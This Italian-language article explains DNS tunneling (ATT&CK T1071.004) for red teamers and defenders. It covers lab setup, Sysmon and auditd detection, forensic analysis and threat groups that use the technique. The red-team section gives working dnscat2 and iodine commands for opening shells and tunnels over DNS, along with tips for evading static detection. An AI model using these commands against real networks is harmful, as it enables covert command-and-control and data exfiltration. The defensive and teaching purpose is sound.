DNS Tunneling: Application Layer Protocol – DNS (T1071.004)

Il DNS tunneling è una delle tecniche più gratificanti da testare in laboratorio perché richiede infrastruttura minima e produce risultati visibili immediatamente. L'obiettivo del red teamer è dimostrare che il canale DNS non è monitorato o che i controlli esistenti sono aggirabili.

Preparazione dell'infrastruttura. Serve un dominio di test e un server autoritativo. Registra un dominio economico, configura un record NS che punti al tuo server di test e assicurati che la porta UDP 53 sia raggiungibile. Questa è la base per qualsiasi tool di tunneling.

Con dnscat2 (open source), il flusso è lineare. Sul server di attacco si avvia il listener:

ruby dnscat2.rb dominio.test

Sul client compromesso si stabilisce la connessione:

./dnscat --dns domain=dominio.test

A quel punto il canale è operativo: si possono aprire shell, trasferire file e eseguire comandi. Il traffico appare come una serie di query DNS verso sottodomini del dominio controllato.

Iodine (open source) crea un tunnel IP-over-DNS completo, più pesante ma utile per dimostrare scenari di esfiltrazione massiva. Sul server:

iodined -f 10.0.0.1 tunnel.dominio.test

Sul client:

iodine -f tunnel.dominio.test

Questo crea un'interfaccia di rete virtuale attraverso la quale far transitare qualsiasi protocollo IP, un'escalation significativa rispetto al semplice beaconing.

Per ambienti enterprise dove il red team necessita profili C2 maturi, Cobalt Strike (a pagamento) offre un listener DNS nativo che genera beacon con comunicazione su record A e TXT. La configurazione avviene tramite Malleable C2 profile, dove si personalizzano la frequenza di beaconing, i domini di staging e il jitter. Anche Sliver (open source) e Mythic (open source) supportano profili DNS-based e rappresentano alternative valide per chi opera con budget limitato.

Un aspetto spesso trascurato nei test: variare la lunghezza dei sottodomini e il tipo di record utilizzato. FIN7 ha dimostrato l'uso combinato di record A, OPT e TXT proprio per evadere regole di detection statiche. In laboratorio, replicare questa varietà significa testare realmente la copertura degli alert.

Per validare il successo del tunnel senza dipendere dalla risposta del SOC, cattura il traffico DNS con tcpdump -i eth0 -n port 53 -w dns_tunnel_test.pcap e analizzalo con Wireshark (open source), filtrando per lunghezza anomala delle query e per entropia dei sottodomini.

La detection del DNS tunneling si gioca su tre dimensioni: il processo che genera la query, le caratteristiche della query stessa e il volume aggregato nel tempo. Nessuna di queste da sola è sufficiente, ma combinate creano una rete efficace.

Log source fondamentali. Su Windows, Sysmon con EventID 22 (DNSEvent) è il punto di partenza imprescindibile: registra ogni query DNS associandola al processo che l'ha generata. Quando rundll32.exe, powershell.exe o python.exe producono rafiche di query DNS verso sottodomini lunghi e apparentemente casuali, il segnale è forte. La detection rule AN1121 si basa esattamente su questo principio, correlando WinEventLog:Sysmon con NSM:Flow.

Su Linux la strada passa per auditd: le syscall connect() e sendto() verso la porta 53, generate da processi non presenti in una allowlist di demoni legittimi, meritano attenzione. La AN1122 aggiunge il calcolo dell'entropia sui sottodomini — un valore di Shannon superiore a 3.5-4.0 su label DNS è un indicatore robusto di codifica base32 o base64, tipica dei tunnel.

Su macOS, i log unificati (macos:unifiedlog) consentono di tracciare query DNS anomale provenienti da osascript, curl o script di automazione, secondo il pattern descritto nella AN1123.

Il livello network è complementare. I sensori di rete (NSM:Flow) rilevano pattern impossibili da catturare solo dagli endpoint: client che generano centinaia di query DNS verso un singolo dominio in pochi minuti, sottodomini con lunghezza superiore a 50 caratteri, concentrazione di record TXT in uscita. La AN1124 formalizza queste soglie con i parametri QueryRatePerClient e DomainReputationFeed.

Non dimenticare gli host ESXi: la AN1125 segnala traffico DNS in uscita da host di virtualizzazione, un evento quasi sempre anomalo perché queste macchine dovrebbero comunicare solo con DNS interni al management plane. Shell script o VIB malevoli che generano query esterne sono un red flag critico.

Per la gestione dei falsi positivi, il tuning è iterativo. Strumenti di update software, servizi CDN e soluzioni di sicurezza generano query ad alta frequenza verso sottodomini lunghi. La chiave è costruire una baseline per processo e per dominio di destinazione, escludendo gradualmente i pattern noti. Il parametro ProcessImageFilter nelle regole Windows e DaemonAllowList su Linux servono esattamente a questo scopo.

Le mitigazioni preventive rafforzano la postura complessiva: forzare tutto il traffico DNS attraverso resolver interni o proxy DNS (M1037) riduce la superficie esposta, mentre firme IDS/IPS specifiche per tool come dnscat2 e Iodine (M1031) bloccano i tunnel più noti a livello di rete.

Ricostruire un canale DNS tunnel in fase post-incident richiede di lavorare simultaneamente su due fronti: gli artefatti endpoint che rivelano quale processo ha generato le query e le catture di rete che documentano il contenuto effettivo del tunnel.

Artefatti endpoint su Windows. Il primo elemento da cercare è il log Sysmon con EventID 22, che associa ogni query DNS al processo sorgente con PID, percorso dell'immagine e timestamp preciso. Se Sysmon non era configurato al momento dell'incidente, il DNS Client Cache di Windows può offrire un'istantanea parziale: il comando Get-DnsClientCache | Export-Csv dns_cache.csv cattura le query ancora in cache, ma il dato è volatile e si perde al riavvio.

I log del DNS Client Service, quando abilitati tramite ETW (Event Tracing for Windows), forniscono una cronologia più completa. I file di log nella directory %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-DNS-Client%4Operational.evtx contengono le query con timestamp e processo associato.

Su Linux, gli artefatti dipendono dalla configurazione di audit. Se auditd era attivo con regole sulla syscall connect() per la porta 53, si otterranno record che legano PID, percorso del binario e destinazione. I file di log di systemd-resolved, quando presenti, aggiungono un ulteriore strato di visibilità. Cerca anche nella cronologia bash e nei crontab eventuali riferimenti a tool come iodine o dnscat — Ember Bear ha utilizzato esattamente questi strumenti per il tunneling C2.

Artefatti di rete. Le catture PCAP sono la fonte più ricca. Con Wireshark o tshark (open source) si possono estrarre tutte le query DNS e analizzarle in serie:

tshark -r capture.pcap -Y "dns.qry.name" -T fields -e frame.time -e ip.src -e dns.qry.name > dns_queries.tsv

Dall'output risultante, ordina per dominio di destinazione e calcola la lunghezza media dei sottodomini e la distribuzione temporale. Un canale tunnel produce pattern riconoscibili: sottodomini di lunghezza costante (tipico della codifica a blocchi), intervalli regolari tra query (beaconing) e concentrazione su un singolo dominio autoritativo.

Per la campagna Cutting Edge (C0029), gli analisti hanno osservato tunneling IPv4 su DNS da appliance Ivanti compromesse. In contesti simili, i log del resolver DNS interno e i log del firewall perimetrale che registrano query verso l'esterno sono fonti complementari essenziali. SUNBURST rappresenta un altro caso studio rilevante: il malware codificava informazioni nei sottodomini mimando le comunicazioni API legittime di SolarWinds, rendendo l'analisi particolarmente complessa.

La timeline si costruisce correlando il primo EventID 22 anomalo o la prima query DNS sospetta nel PCAP con gli eventi di esecuzione processo (Sysmon EventID 1), i login (EventID 4624) e gli indicatori di lateral movement, creando una sequenza cronologica che collega l'initial access al canale C2.

Il DNS tunneling per C2 è una tecnica trasversale a regioni, motivazioni e livelli di sofisticazione. L'analisi degli 11 gruppi che la impiegano rivela pattern utili per l'attribuzione e la previsione.

APT41 combina il DNS C2 con un arsenale vasto che include SysUpdate — malware che utilizza specificamente record DNS TXT per le comunicazioni — e strumenti come ShadowPad e PlugX, entrambi configurabili per operare su DNS. Questo gruppo, attribuito alla Cina, opera con doppia motivazione (spionaggio e cybercrime), e la scelta del DNS riflette la necessità di mantenere persistenza in ambienti dove altri canali C2 vengono chiusi rapidamente.

OilRig è probabilmente il gruppo più strettamente associato al DNS tunneling, avendo sviluppato una vera e propria famiglia di malware dedicata: QUADAGENT, BONDUPDATER, Helminth, RDAT e POWRUNER utilizzano tutti il DNS come canale primario. La sofisticazione è crescente — da semplici query A fino a protocolli di tunneling personalizzati con record TXT. Ke3chang, altro attore medio-orientale/asiatico, segue una logica simile con il malware RoyalDNS.

FIN7, gruppo a motivazione finanziaria, ha dimostrato l'uso dei record A, OPT e TXT in combinazione, indicando una maturità operativa che cerca di evadere regole di detection focalizzate su un singolo tipo di record. Anche Cobalt Group fa leva sul DNS tunneling, spesso attraverso Cobalt Strike, lo stesso framework usato da Chimera per incapsulare il C2 in traffico DNS.

Sul fronte degli attori legati a conflitti regionali, Ember Bear si distingue per l'impiego diretto di tool open source (dnscat2 e Iodine) senza particolari personalizzazioni — un indicatore di operazioni rapide dove la velocità di deployment prevale sulla stealth. APT39 e Tropic Trooper utilizzano il DNS come canale per backdoor custom, mentre APT18 mantiene un profilo più essenziale.

La campagna Cutting Edge (C0029, dicembre 2023 – febbraio 2024) rappresenta l'evoluzione più recente: attori China-nexus (UNC5221/UTA0178 e UNC5325) hanno sfruttato zero-day su appliance Ivanti Connect Secure e poi usato DNS per tunnelare traffico IPv4 C2, colpendo il settore difesa industriale statunitense e settori globali tra cui telecomunicazioni, finanziario e aerospaziale.

Il trend emergente è la convergenza tra DNS tunneling e tecniche di evasione avanzate. Brute Ratel C4 (a pagamento) supporta DNS over HTTPS, che cripta il canale DNS rendendolo invisibile all'ispezione tradizionale. DarkGate nasconde il traffico C2 in record DNS di servizi legittimi per eludere i controlli basati sulla reputazione dei domini. L'analista TI dovrebbe monitorare attentamente l'adozione di DoH/DoT da parte degli attori threat, perché sposta radicalmente il punto di visibilità dal resolver di rete all'endpoint.

Framework MITRE ATT&CK v16: T1071.004, TA0011, C0029 (Cutting Edge), M1037, M1031. Gruppi: G0114, G0140, G0096, G0080, G0049, G0004, G0087, G1003, G0081, G0026, G0046. Detection: DET0400, AN1121–AN1125. Integrato con conoscenza professionale per tool e procedure operative.